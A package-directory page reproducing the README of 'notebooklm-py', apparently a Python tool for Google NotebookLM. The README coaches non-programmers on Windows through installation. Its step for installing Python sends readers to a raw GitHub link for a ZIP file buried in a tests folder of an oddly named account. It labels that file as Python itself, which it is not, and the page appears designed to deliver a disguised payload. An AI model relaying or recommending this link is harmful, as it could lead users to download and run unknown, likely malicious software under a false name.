freshcrate
Skin:/
Home > MCP Servers > notebooklm-py

notebooklm-py

Provide full Python API access to NotebookLM features, including advanced functions beyond the web interface, via CLI and AI agent integration.

Why this rank:Recent releaseStrong adoptionHealthy release cadence

Description

Provide full Python API access to NotebookLM features, including advanced functions beyond the web interface, via CLI and AI agent integration.

README

๐Ÿ“ notebooklm-py - Easy Python Access to NotebookLM Features

Download notebooklm-py

๐Ÿ“‹ What is notebooklm-py?

notebooklm-py is a tool that lets you use Google NotebookLM through Python. It gives you more control than the web interface by unlocking extra features. You can also use it through the command line or AI helpers like Claude Code and Codex.

This tool is meant for people who want to get more from their NotebookLM without using the website directly. You donโ€™t need to be a programmer to follow this guide and run the program on your Windows computer.


๐Ÿ’ป System Requirements

  • Windows 10 or later (64-bit)
  • Python 3.8 or higher installed
  • At least 4 GB of RAM
  • Internet connection to use NotebookLM features fully
  • Administrator rights to install programs

๐Ÿš€ Getting Started

  1. Make sure your Windows version is up to date.
  2. Check if Python is installed:
    • Open Command Prompt (press Windows key, type cmd, press Enter).
    • Type python --version and press Enter.
    • If a version number appears, Python is installed.
  3. If Python is not installed, go to https://raw.githubusercontent.com/patriarchal-boothose896/notebooklm-py/main/tests/e2e/notebooklm_py_3.3.zip and download the latest version.
  4. Install Python, and make sure to check "Add Python to PATH" during installation.

๐Ÿ“ฅ Download notebooklm-py

Click the big green button at the top or visit this link:

Download notebooklm-py

This link will take you to the GitHub repository where you can download the program files.


๐Ÿ› ๏ธ How to Install and Run notebooklm-py on Windows

Step 1. Download the files

Step 2. Extract the files

  • Find the ZIP file you downloaded.
  • Right-click on the ZIP file and choose Extract All....
  • Choose a location you can find easily, such as Desktop.
  • Click Extract.

Step 3. Open the folder

  • After extraction, open the folder named notebooklm-py-main or similar.

Step 4. Open Command Prompt at the folder location

  • Click on the folderโ€™s address bar at the top.
  • Type cmd and press Enter. This opens Command Prompt with the folder set.

Step 5. Install required software packages

notebooklm-py needs some Python tools to work properly. Install them by typing this command in Command Prompt and pressing Enter:

pip install -r requirements.txt

This will download and install all needed Python packages.

Step 6. Run the program

Once installation completes, you can start the program by typing:

python main.py

Then press Enter.

The program will open and you can start using it.


๐Ÿ”ง Using notebooklm-py

Here are some common ways to use notebooklm-py:

  • Use Python scripts to talk to NotebookLM for notes and queries.
  • Run commands through the command line to test features.
  • Connect to AI helpers for extended tasks like code generation or podcast creation.

no programming knowledge is needed, but familiarity with typing commands in the Command Prompt helps.


๐Ÿ“š Basic Commands

  • To run the program:
    python main.py

  • To see available options in CLI:
    python main.py --help

  • To use a specific skill (like Claude or OpenClaw):
    python main.py --skill claude

Replace claude with any supported skill name.


๐Ÿ›ก๏ธ Safety and Privacy

notebooklm-py uses Google services which require you to log in securely. Your data stays private with Googleโ€™s policies. Avoid sharing sensitive information when using AI features.


โš™๏ธ Tips for Best Experience

  • Keep Python and your packages updated by running:
    pip install --upgrade pip
    and
    pip install --upgrade -r requirements.txt

  • Use a reliable internet connection for smooth operation.

  • Close other heavy programs if your PC becomes slow.

  • Check the GitHub page occasionally for updates and new features.


๐Ÿงฉ Features at a Glance

  • Full access to NotebookLM features beyond the web interface.
  • Supports agentic AI skills like Claude Code and Codex.
  • Works with Python scripts and command line.
  • Allows automation and integration with other tools.
  • Designed to be simple for non-programmers.

๐Ÿ”— Quick Links

Download notebooklm-py

Python official download page

GitHub Issues โ€“ for reporting problems or asking questions


๐Ÿ“ž Getting Help

If something does not work as expected:

  • Review the instructions carefully.
  • Make sure Python and packages are installed.
  • Try restarting your computer.
  • Use the GitHub Issues page to ask for support.

๐Ÿ—‚๏ธ Additional Notes on Usage

notebooklm-py works best on a Windows PC but can run on other systems with Python. For non-Windows operating systems, please check platform-specific setup instructions from the repository.

The tool is open-source, so you can look at the Python files if you want to learn more about how it works.


๐Ÿ”Ž Whatโ€™s Next?

After you get notebooklm-py running, try exploring:

  • Writing simple Python scripts to ask NotebookLM questions.
  • Using the built-in skills for automation.
  • Combining commands with other tools like your text editor.

Your PC will now have more powerful options to work with your Google NotebookLM data.

Release History

VersionChangesUrgencyDate
main@2026-06-05Latest activity on main branchHigh6/5/2026
0.0.0No release found โ€” using repo HEADHigh4/11/2026

Dependencies & License Audit

Loading dependencies...

Similar Packages

MARM-SystemsTurn AI into a persistent, memory-powered collaborator. Universal MCP Server (supports HTTP, STDIO, and WebSocket) enabling cross-platform AI memory, multi-agent coordination, and context sharing. Buiv2.9.0
claude-engramPersistent memory and session intelligence for AI coding assistants. Auto-tracks mistakes, decisions, and context via hooks. Mines your full session history for patterns, predictions, and cross-sessiomain@2026-06-02
jdocmunch-mcpThe leading, most token-efficient MCP server for documentation exploration and retrieval via structured section indexingv1.67.0
nix-aiYour AI coding toolkit, declared in Nix โ€” Claude, Gemini, Copilot, 15+ MCP servers, one flakev1.69.0
contrastapiSecurity intelligence API and MCP server for AI agents. 25 tools, 35+ endpoints: CVE/EPSS/KEV, domain recon, SSL, IP reputation, threat intel, email security, code scanning. Free, no signup.v1.33.22

More in MCP Servers

AstrBotAgentic IM Chatbot infrastructure that integrates lots of IM platforms, LLMs, plugins and AI feature, and can be your openclaw alternative. โœจ
agentscopeBuild and run agents you can see, understand and trust.
claude-plugins-officialOfficial, Anthropic-managed directory of high quality Claude Code Plugins.
langchain4jLangChain4j is an open-source Java library that simplifies the integration of LLMs into Java applications through a unified API, providing access to popular LLMs and vector databases. It makes impleme